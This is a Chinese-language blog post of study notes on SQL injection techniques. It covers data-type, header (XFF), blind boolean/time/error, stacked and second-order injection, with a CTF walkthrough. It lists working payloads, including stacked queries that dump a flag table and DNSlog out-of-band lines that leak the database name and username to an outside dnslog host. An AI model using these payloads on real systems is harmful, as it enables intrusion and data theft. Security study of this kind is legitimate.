SQL注入–根据数据类型注入–根据提交方式注入–延迟报错等

一、根据数据类型

数据类型注入 – 数字型 字符型 搜索型 加密型(base64 json)等
·数字型:0到9;
·字符型:a-Z、中文、标点符号,会使用单引号闭合;
·搜索型:在基础上增加通配符,比如会加入百分号来进行搜索,比如‘%…%’;
·编码型:数据以编码值传递。比如客户端发送编码,服务端对编码解码之后再带入数据进行sql执行。所以我们针对这种类型,要对payload进行编码;
·加密型:数据会以加密后的密文发送,服务端解密再进行操作;
·格式型:比如JSON

如何判断类型?一般用get方式传数据的话可以在地址栏那里看到查询的语句,比如?id=1可能是数字型,比如?name=sigma可能是字符型 ,比如注入点是搜索框,可能是搜索型,要是看不懂的如?id=be==可能是编码型

json形式跟别的区别在于表现的形式。json是键名和键值组合的,因此在构造payload的时候要注意一些细节,如
json={“username”:”admin’ and 1=2 union select 1,database(),3#”}
注入的内容其实没变,只是要找到注入点位置

宽字节注入

借助繁体字符或者乱码,他们会占用两个字节。在一些有转义功能的情况中,\占1个字符,如果使用宽字节,可以占用该位置

二、根据提交方式:

首先,我们注意很多时候使用get方式提交数据的时候,我们能直接修改URL来测试。但是浏览器不可能让我们输入无限长度的url,所以往往会换一种方式提交,即POST方式等(数据请求方式-GET&POST&COOKIE等)。

get一般在报文头
cookie一般在报文中
post一般在报文尾

在一些网页功能点,需要与数据库产生联系,比如查询的,就会产生sql注入的可能。
迪总给出了三种情景:
①后台要记录操作IP
②网站要根据用户的设备给予显示界面
③网站要进行文件上传,用户登录等

使用工具(sqlmap)时,使用数据包来操作比较高效。而使用工具的时候还需要告诉工具使用何种方式提交数据,否则笨比工具不会知道的。

迪总讲了几个案例:
1.zzcms记录ip
如果输入账号密码后,出现了限制次数,思路可以是换IP地址看看限制有没有解除。在演示中,zzcms有一个getip()函数,该函数作用是提取IP。过程是依次从可能存在ip地址的数据中查看ip,其中有一个获取ip的地方叫“X-Forwarded-For:”可以通过抓包修改伪造ip。如果没有这个,可能会获取本机IP。该漏洞类型可以成为XFF头注入

数据库类型:决定攻击手法,payload不一样
数据类型注入:payload考虑闭合、数据格式
提交方式:数据请求不同,注入需要按照指定的方式去测试。注意,url没有参数不代表没有注入,比如post可能把请求数据放在数据包之中,另外,http数据包任何一个地方只要被接受,如XFF,就有可能产生漏洞。

#部分语言接受代码块

<?php

header(“Content-Type: text/html; charset=utf-8”);

$get=$_GET[‘g’];

$post=$_POST[‘p’];

$cookie=$_COOKIE[‘c’];

$request=$_REQUEST[‘r’];

$host=$_SERVER[‘HTTP_HOST’];

$user_agent=$_SERVER[“HTTP_USER_AGENT”];

$ip=$_SERVER[“HTTP_X_FORWARDED_FOR”];

echo $get.”<hr>”;

echo $post.”<hr>”;

echo $cookie.”<hr>”;

echo $request.”<hr>”;

echo $host.”<hr>”;

echo $user_agent.”<hr>”;

echo $ip;

?>

Java Spring  不同框架,不同写法

method=RequestMethod.GET

method=RequestMethod.POST

request.getParameter(“参数名”);

可以直接获取get请求的参数key对应的value

也可以从请求体中获取参数的key对应的value

Python flask 不同框架,不同写法

requests.get

requests.post

request.args.get(key)

request.form.get(key)

request.values.get(key)

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

我们可以知道盲注分为以下三类:

-基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid

-基于时间的SQL盲注-延时判断

if,sleep

-基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue //以php为例子,$result=mysql_query($sql,$conn) or die(mysql_error())这是为了容错触发的报错命令,只有写上了这条命令才能使用否则无效。

https://www.jianshu.com/p/bc35f8dd4f7c

参考:

like ‘ro%’ #判断ro或ro…是否成立

regexp ‘^xiaodi[a-z]’ #匹配xiaodi及xiaodi…等

if(条件,5,0) #条件成立 返回5 反之 返回0

sleep(5) #SQL语句延时执行5秒,可以在bp里面抓包发送,观察右下角的速度来判断

mid(a,b,c) #从位置b开始,截取a字符串的c位

substr(a,b,c) #从位置b开始,截取字符串a的c长度

left(database(),1),database() #left(a,b)从左侧截取a的前b位

length(database())=8 #判断数据库database()名的长度

ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

SQL查询方式注入

select,insert,update,delete,orderby等

#SQL-盲注&布尔&报错&延时

PHP开发项目-输出结果&开启报错

基于延时:不需要任何前提条件就能运用

/blog/news.php?id=1 and if(1=1,sleep(5),0)

基于布尔:有数据库输出判断标准

/blog/news.php?id=1 and length(database())=7

基于报错:有数据库报错处理判断标准

/blog/news.php?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

基本知识本地测试

select * from member where username like ‘vi%’;

select * from member where username regexp ‘^x’;

select * from member where id=1 and sleep(1);

select * from member where id=1 and if(1>2,sleep(1),0);

select * from member where id=1 and if(1<2,sleep(1),0);

select * from member where id=1 and length(database())=7;

select * from member where id=1 and left(database(),1)=’p’;

select * from member where id=1 and left(database(),2)=’pi’;

select * from member where id=1 and substr(database(),1,1)=’p’;

select * from member where id=1 and substr(database(),2,1)=’i’;

select * from member where id=1 and ord(left(database(),1))=112; //ord()指的是变成ascii码

1、数据库堆叠注入
2、数据库二次注入

二次注入:先把攻击语句插入数据库中,当其他操作调用该数据,拼接后的新的payload会进行攻击。存在二次注入的特征,比如当注册需要邮箱、用户名、密码等,登录的时候需要输入用户名或者邮箱,密码,登陆成功显示了没有输入的内容,表明存在能二次注入的可能。
比方说,登陆输入邮箱、密码,登陆成功能够显示用户名(并没有输入),说明进行了查询,那么攻击者会把payload注入到用户名,后续执行操作会拼接语句。
换而言之,二次注入的原因是程序员限制、过滤用户输入的恶意payload,但是在存储时能够被完整保存下来,由于使用查看等不会储存如新数据的功能,程序员在这里没有进行过滤,导致了二次注入漏洞。
3、数据库Dnslog注入

#堆叠注入-数据库类型&强网杯2019随便注

根据数据库类型决定是否支持多条语句执行

支持堆叠数据库类型:MYSQL MSSQL Postgresql等

‘;show databases;

‘;show tables;

‘;show columns from `1919810931114514`;

‘;select flag from `1919810931114514`;

‘;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

#DNS利用-平台介绍&SQL注入&命令执行等

1.平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

2.应用场景:

解决不回显,反向连接,SQL注入,命令执行,SSRF等。当网页不回显信息,可以使用DNSlog带外让服务器自己发出申请,让命令执行结果显示在dnslog.cn这个网页上,比如显示版本号、数据库名等。
在内网中发挥作用,此处回忆内网安全学习中使用dns传输数据的内容。
在命令执行中,dnslog发挥巨大用处。

SQL注入:

select load_file(concat(‘\\\\’,(select database()),’.7logee.dnslog.cn\\aa’));

and (select load_file(concat(‘//’,(select database()),’.69knl9.dnslog.cn/abc’)))

命令执行:

ping %USERNAME%.7logee.dnslog.cn

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注